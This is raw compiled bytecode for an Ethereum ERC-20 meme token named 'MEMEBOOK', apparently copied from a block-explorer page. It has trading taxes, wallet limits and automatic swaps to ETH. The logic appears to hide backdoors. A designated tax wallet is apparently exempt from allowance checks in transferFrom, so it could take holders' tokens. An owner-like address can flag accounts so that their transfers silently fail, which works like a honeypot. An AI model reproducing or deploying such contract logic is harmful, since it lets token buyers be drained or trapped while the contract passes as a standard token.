ffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611a779190612377565b60405180910390a35b611ad08260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461216190919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611b73611b27828461216190919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461210490919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611c16848661216190919063ffffffff16565b604051611c239190612377565b60405180910390a3505b505050565b5f83831115611c76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6d90612ee7565b60405180910390fd5b5f8385611c839190612f05565b9050809150509392505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f808303611d61575f9050611dc2565b5f8284611d6e9190612684565b9050828482611d7d91906127c0565b14611dbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db490612fa8565b60405180910390fd5b809150505b92915050565b5f611e0983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612175565b905092915050565b5f818311611e1f5782611e21565b815b905092915050565b6001600760146101000a81548160ff021916908315150217905550600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015611ea8573d5f803e3d5ffd5b508060105410156120e7575f600267ffffffffffffffff811115611ecf57611ece612fc6565b5b604051908082528060200260200182016040528015611efd5781602001602082028036833780820191505090505b50905030815f81518110611f1457611f13612ff3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611fb8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611fdc9190612741565b81600181518110611ff057611fef612ff3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120563060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461107a565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016120b89594939291906130d7565b5f604051808303815f87803b1580156120cf575f80fd5b505af11580156120e1573d5f803e3d5ffd5b50505050505b5f600760146101000a81548160ff02191690831515021790555050565b5f8082846121129190612ddc565b905083811015612157576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214e90613179565b60405180910390fd5b8091505092915050565b5f61216d83835f611c32565b905092915050565b5f80831182906121bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121b29190612246565b60405180910390fd5b505f83856121c991906127c0565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f612218826121d6565b61222281856121e0565b93506122328185602086016121f0565b61223b816121fe565b840191505092915050565b5f6020820190508181035f83015261225e818461220e565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6122938261226a565b9050919050565b6122a381612289565b81146122ad575f80fd5b50565b5f813590506122be8161229a565b92915050565b5f819050919050565b6122d6816122c4565b81146122e0575f80fd5b50565b5f813590506122f1816122cd565b92915050565b5f806040838503121561230d5761230c612266565b5b5f61231a858286016122b0565b925050602061232b858286016122e3565b9150509250929050565b5f8115159050919050565b61234981612335565b82525050565b5f6020820190506123625f830184612340565b92915050565b612371816122c4565b82525050565b5f60208201905061238a5f830184612368565b92915050565b5f805f606084860312156123a7576123a6612266565b5b5f6123b4868287016122b0565b93505060206123c5868287016122b0565b92505060406123d6868287016122e3565b9150509250925092565b5f60ff82169050919050565b6123f5816123e0565b82525050565b5f60208201905061240e5f8301846123ec565b92915050565b5f6020828403121561242957612428612266565b5b5f612436848285016122b0565b91505092915050565b61244881612289565b82525050565b5f6020820190506124615f83018461243f565b92915050565b5f6124718261226a565b9050919050565b61248181612467565b82525050565b5f60208201905061249a5f830184612478565b92915050565b5f80604083850312156124b6576124b5612266565b5b5f6124c3858286016122b0565b92505060206124d4858286016122b0565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156125605780860481111561253c5761253b6124de565b5b600185161561254b5780820291505b80810290506125598561250b565b9450612520565b94509492505050565b5f826125785760019050612633565b81612585575f9050612633565b816001811461259b57600281146125a5576125d4565b6001915050612633565b60ff8411156125b7576125b66124de565b5b8360020a9150848211156125ce576125cd6124de565b5b50612633565b5060208310610133831016604e8410600b84101617156126095782820a905083811115612604576126036124de565b5b612633565b6126168484846001612517565b9250905081840481111561262d5761262c6124de565b5b81810290505b9392505050565b5f612644826122c4565b915061264f836123e0565b925061267c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612569565b905092915050565b5f61268e826122c4565b9150612699836122c4565b92508282026126a7816122c4565b915082820484148315176126be576126bd6124de565b5b5092915050565b7f6f776e6572206973206e6f7420617661696c61626c65000000000000000000005f82015250565b5f6126f96016836121e0565b9150612704826126c5565b602082019050919050565b5f6020820190508181035f830152612726816126ed565b9050919050565b5f8151905061273b8161229a565b92915050565b5f6020828403121561275657612755612266565b5b5f6127638482850161272d565b91505092915050565b5f60408201905061277f5f83018561243f565b61278c602083018461243f565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6127ca826122c4565b91506127d5836122c4565b9250826127e5576127e4612793565b5b828204905092915050565b5f819050919050565b5f819050919050565b5f61281c612817612812846127f0565b6127f9565b6122c4565b9050919050565b61282c81612802565b82525050565b5f60c0820190506128455f83018961243f565b6128526020830188612368565b61285f6040830187612823565b61286c6060830186612823565b612879608083018561243f565b61288660a0830184612368565b979650505050505050565b5f8151905061289f816122cd565b92915050565b5f805f606084860312156128bc576128bb612266565b5b5f6128c986828701612891565b93505060206128da86828701612891565b92505060406128eb86828701612891565b9150509250925092565b5f6040820190506129085f83018561243f565b6129156020830184612368565b9392505050565b61292581612335565b811461292f575f80fd5b50565b5f815190506129408161291c565b92915050565b5f6020828403121561295b5761295a612266565b5b5f61296884828501612932565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6129cb6026836121e0565b91506129d682612971565b604082019050919050565b5f6020820190508181035f8301526129f8816129bf565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612a596024836121e0565b9150612a64826129ff565b604082019050919050565b5f6020820190508181035f830152612a8681612a4d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612ae76022836121e0565b9150612af282612a8d565b604082019050919050565b5f6020820190508181035f830152612b1481612adb565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612b4f6020836121e0565b9150612b5a82612b1b565b602082019050919050565b5f6020820190508181035f830152612b7c81612b43565b9050919050565b7f6e6f7420737461727465642079657400000000000000000000000000000000005f82015250565b5f612bb7600f836121e0565b9150612bc282612b83565b602082019050919050565b5f6020820190508181035f830152612be481612bab565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612c456025836121e0565b9150612c5082612beb565b604082019050919050565b5f6020820190508181035f830152612c7281612c39565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612cd36023836121e0565b9150612cde82612c79565b604082019050919050565b5f6020820190508181035f830152612d0081612cc7565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612d616029836121e0565b9150612d6c82612d07565b604082019050919050565b5f6020820190508181035f830152612d8e81612d55565b9050919050565b5f612d9f826122c4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612dd157612dd06124de565b5b600182019050919050565b5f612de6826122c4565b9150612df1836122c4565b9250828201905080821115612e0957612e086124de565b5b92915050565b7f4578636565647320746865205f6d6178416d6f756e7453697a652e00000000005f82015250565b5f612e43601b836121e0565b9150612e4e82612e0f565b602082019050919050565b5f6020820190508181035f830152612e7081612e37565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f612ed16028836121e0565b9150612edc82612e77565b604082019050919050565b5f6020820190508181035f830152612efe81612ec5565b9050919050565b5f612f0f826122c4565b9150612f1a836122c4565b9250828203905081811115612f3257612f316124de565b5b92915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612f926021836121e0565b9150612f9d82612f38565b604082019050919050565b5f6020820190508181035f830152612fbf81612f86565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61305281612289565b82525050565b5f6130638383613049565b60208301905092915050565b5f602082019050919050565b5f61308582613020565b61308f818561302a565b935061309a8361303a565b805f5b838110156130ca5781516130b18882613058565b97506130bc8361306f565b92505060018101905061309d565b5085935050505092915050565b5f60a0820190506130ea5f830188612368565b6130f76020830187612823565b8181036040830152613109818661307b565b9050613118606083018561243f565b6131256080830184612368565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613163601b836121e0565b915061316e8261312f565b602082019050919050565b5f6020820190508181035f83015261319081613157565b905091905056fea2646970667358221220dc4547acff8d705dd2faaefcae15f74815c98cf9e9d89519f3c887c5b064862364736f6c634300081a0033
Deployed Bytecode
0x6080604052600436106101ba575f3560e01c806382b3aa58116100eb578063b2e7fa9811610089578063d5a78cf111610063578063d5a78cf1146105cf578063dd62ed3e146105f9578063f2fde38b14610635578063fdc591841461065d576101c1565b8063b2e7fa9814610567578063b984ea7d14610591578063c9567bf9146105b9576101c1565b8063a666ec1c116100c5578063a666ec1c146104ad578063a6c05303146104d7578063a9059cbb14610501578063ac1bbdee1461053d576101c1565b806382b3aa581461041d5780638da5cb5b1461045957806395d89b4114610483576101c1565b8063441351c61161015857806368da33521161013257806368da33521461037957806370a08231146103b5578063715018a6146103f1578063751039fc14610407576101c1565b8063441351c6146102fb57806344419df5146103255780635e4f158b1461034f576101c1565b806318160ddd1161019457806318160ddd1461025557806320800a001461027f57806323b872dd14610295578063313ce567146102d1576101c1565b806306fdde03146101c5578063095ea7b3146101ef57806316147db01461022b576101c1565b366101c157005b5f80fd5b3480156101d0575f80fd5b506101d9610687565b6040516101e69190612246565b60405180910390f35b3480156101fa575f80fd5b50610215600480360381019061021091906122f7565b6106c4565b604051610222919061234f565b60405180910390f35b348015610236575f80fd5b5061023f6106e1565b60405161024c9190612377565b60405180910390f35b348015610260575f80fd5b506102696106e7565b6040516102769190612377565b60405180910390f35b34801561028a575f80fd5b5061029361070a565b005b3480156102a0575f80fd5b506102bb60048036038101906102b69190612390565b610758565b6040516102c8919061234f565b60405180910390f35b3480156102dc575f80fd5b506102e5610865565b6040516102f291906123fb565b60405180910390f35b348015610306575f80fd5b5061030f61086d565b60405161031c9190612377565b60405180910390f35b348015610330575f80fd5b50610339610873565b6040516103469190612377565b60405180910390f35b34801561035a575f80fd5b50610363610879565b6040516103709190612377565b60405180910390f35b348015610384575f80fd5b5061039f600480360381019061039a9190612414565b61087f565b6040516103ac919061234f565b60405180910390f35b3480156103c0575f80fd5b506103db60048036038101906103d69190612414565b61089c565b6040516103e89190612377565b60405180910390f35b3480156103fc575f80fd5b506104056108e2565b005b348015610412575f80fd5b5061041b6108f5565b005b348015610428575f80fd5b50610443600480360381019061043e9190612414565b610922565b6040516104509190612377565b60405180910390f35b348015610464575f80fd5b5061046d610937565b60405161047a919061244e565b60405180910390f35b34801561048e575f80fd5b5061049761095e565b6040516104a49190612246565b60405180910390f35b3480156104b8575f80fd5b506104c161099b565b6040516104ce9190612377565b60405180910390f35b3480156104e2575f80fd5b506104eb6109a1565b6040516104f89190612487565b60405180910390f35b34801561050c575f80fd5b50610527600480360381019061052291906122f7565b6109c6565b604051610534919061234f565b60405180910390f35b348015610548575f80fd5b506105516109e3565b60405161055e9190612377565b60405180910390f35b348015610572575f80fd5b5061057b6109e9565b6040516105889190612377565b60405180910390f35b34801561059c575f80fd5b506105b760048036038101906105b29190612414565b6109ef565b005b3480156105c4575f80fd5b506105cd610ad6565b005b3480156105da575f80fd5b506105e3610f63565b6040516105f09190612377565b60405180910390f35b348015610604575f80fd5b5061061f600480360381019061061a91906124a0565b610f69565b60405161062c9190612377565b60405180910390f35b348015610640575f80fd5b5061065b60048036038101906106569190612414565b610feb565b005b348015610668575f80fd5b5061067161106d565b60405161067e9190612377565b60405180910390f35b60606040518060400160405280601e81526020017f486f7720746f2074616c6b20746f206b6964732061626f7574204d454d450000815250905090565b5f6106d76106d0611073565b848461107a565b6001905092915050565b60085481565b5f6009600a6106f6919061263a565b633b9aca006107059190612684565b905090565b61071261123d565b3373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610755573d5f803e3d5ffd5b50565b5f6107648484846112bb565b5f600a60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054106107b0575f610845565b610844835f60025f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6107fb611073565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611c329092919063ffffffff16565b5b905061085985610853611073565b8361107a565b60019150509392505050565b5f6009905090565b600d5481565b60115481565b600a5481565b6003602052805f5260405f205f915054906101000a900460ff1681565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6108ea61123d565b6108f35f611c90565b565b6108fd61123d565b6009600a61090b919061263a565b633b9aca0061091a9190612684565b601181905550565b6004602052805f5260405f205f915090505481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f4d454d45424f4f4b000000000000000000000000000000000000000000000000815250905090565b60125481565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f6109d96109d2611073565b84846112bb565b6001905092915050565b600b5481565b60105481565b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a759061270f565b60405180910390fd5b600160055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b610ade61123d565b5f737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b3f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b639190612741565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bc8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bec9190612741565b6040518363ffffffff1660e01b8152600401610c0992919061276c565b6020604051808303815f875af1158015610c25573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c499190612741565b60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d103060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610cfc919061263a565b633b9aca00610d0b9190612684565b61107a565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306064610d5a3061089c565b6062610d669190612684565b610d7091906127c0565b5f80610d7a610937565b426040518863ffffffff1660e01b8152600401610d9c96959493929190612832565b60606040518083038185885af1158015610db8573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610ddd91906128a5565b50505060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610e7d9291906128f5565b6020604051808303815f875af1158015610e99573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ebd9190612946565b506001600760156101000a81548160ff0219169083151502179055506009600a610ee7919061263a565b633b9aca00610ef69190612684565b601181905550606460045f600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050565b600c5481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610ff361123d565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611061576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611058906129e1565b60405180910390fd5b61106a81611c90565b50565b60095481565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110df90612a6f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611156576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114d90612afd565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112309190612377565b60405180910390a3505050565b611245611073565b73ffffffffffffffffffffffffffffffffffffffff16611263610937565b73ffffffffffffffffffffffffffffffffffffffff16146112b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b090612b65565b60405180910390fd5b565b5f600760159054906101000a900460ff168061131d575060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b61135c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135390612bcd565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036113ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c190612c5b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611438576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142f90612ce9565b60405180910390fd5b5f821161147a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147190612d77565b60405180910390fd5b60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156114cf5750611c2d565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615801561156d575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156119815760075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116055761160260646115f4600d54600c54106115e157600b546115e5565b6009545b85611d5190919063ffffffff16565b611dc890919063ffffffff16565b90505b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116ae575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b1561170957600c5f8154809291906116c590612d95565b919050555061170660646116f8600d54600c54106116e557600a546116e9565b6008545b85611d5190919063ffffffff16565b611dc890919063ffffffff16565b90505b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146117b6576011548261176a8561089c565b6117749190612ddc565b11156117b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ac90612e59565b60405180910390fd5b5b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611854575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b801561186d5750600760149054906101000a900460ff16155b80156118855750600760159054906101000a900460ff165b80156118dd575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611980575f6119006118ef3061089c565b6118fb60125486611e11565b611e11565b905061190b81611e29565b5f4790505f81111561197d57600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f1935050505015801561197b573d5f803e3d5ffd5b505b50505b5b5f811115611a80576119d98160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461210490919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611a779190612377565b60405180910390a35b611ad08260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461216190919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611b73611b27828461216190919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461210490919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611c16848661216190919063ffffffff16565b604051611c239190612377565b60405180910390a3505b505050565b5f83831115611c76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6d90612ee7565b60405180910390fd5b5f8385611c839190612f05565b9050809150509392505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f808303611d61575f9050611dc2565b5f8284611d6e9190612684565b9050828482611d7d91906127c0565b14611dbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db490612fa8565b60405180910390fd5b809150505b92915050565b5f611e0983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612175565b905092915050565b5f818311611e1f5782611e21565b815b905092915050565b6001600760146101000a81548160ff021916908315150217905550600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015611ea8573d5f803e3d5ffd5b508060105410156120e7575f600267ffffffffffffffff811115611ecf57611ece612fc6565b5b604051908082528060200260200182016040528015611efd5781602001602082028036833780820191505090505b50905030815f81518110611f1457611f13612ff3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611fb8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611fdc9190612741565b81600181518110611ff057611fef612ff3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120563060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461107a565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016120b89594939291906130d7565b5f604051808303815f87803b1580156120cf575f80fd5b505af11580156120e1573d5f803e3d5ffd5b50505050505b5f600760146101000a81548160ff02191690831515021790555050565b5f8082846121129190612ddc565b905083811015612157576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214e90613179565b60405180910390fd5b8091505092915050565b5f61216d83835f611c32565b905092915050565b5f80831182906121bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121b29190612246565b60405180910390fd5b505f83856121c991906127c0565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f612218826121d6565b61222281856121e0565b93506122328185602086016121f0565b61223b816121fe565b840191505092915050565b5f6020820190508181035f83015261225e818461220e565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6122938261226a565b9050919050565b6122a381612289565b81146122ad575f80fd5b50565b5f813590506122be8161229a565b92915050565b5f819050919050565b6122d6816122c4565b81146122e0575f80fd5b50565b5f813590506122f1816122cd565b92915050565b5f806040838503121561230d5761230c612266565b5b5f61231a858286016122b0565b925050602061232b858286016122e3565b9150509250929050565b5f8115159050919050565b61234981612335565b82525050565b5f6020820190506123625f830184612340565b92915050565b612371816122c4565b82525050565b5f60208201905061238a5f830184612368565b92915050565b5f805f606084860312156123a7576123a6612266565b5b5f6123b4868287016122b0565b93505060206123c5868287016122b0565b92505060406123d6868287016122e3565b9150509250925092565b5f60ff82169050919050565b6123f5816123e0565b82525050565b5f60208201905061240e5f8301846123ec565b92915050565b5f6020828403121561242957612428612266565b5b5f612436848285016122b0565b91505092915050565b61244881612289565b82525050565b5f6020820190506124615f83018461243f565b92915050565b5f6124718261226a565b9050919050565b61248181612467565b82525050565b5f60208201905061249a5f830184612478565b92915050565b5f80604083850312156124b6576124b5612266565b5b5f6124c3858286016122b0565b92505060206124d4858286016122b0565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156125605780860481111561253c5761253b6124de565b5b600185161561254b5780820291505b80810290506125598561250b565b9450612520565b94509492505050565b5f826125785760019050612633565b81612585575f9050612633565b816001811461259b57600281146125a5576125d4565b6001915050612633565b60ff8411156125b7576125b66124de565b5b8360020a9150848211156125ce576125cd6124de565b5b50612633565b5060208310610133831016604e8410600b84101617156126095782820a905083811115612604576126036124de565b5b612633565b6126168484846001612517565b9250905081840481111561262d5761262c6124de565b5b81810290505b9392505050565b5f612644826122c4565b915061264f836123e0565b925061267c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612569565b905092915050565b5f61268e826122c4565b9150612699836122c4565b92508282026126a7816122c4565b915082820484148315176126be576126bd6124de565b5b5092915050565b7f6f776e6572206973206e6f7420617661696c61626c65000000000000000000005f82015250565b5f6126f96016836121e0565b9150612704826126c5565b602082019050919050565b5f6020820190508181035f830152612726816126ed565b9050919050565b5f8151905061273b8161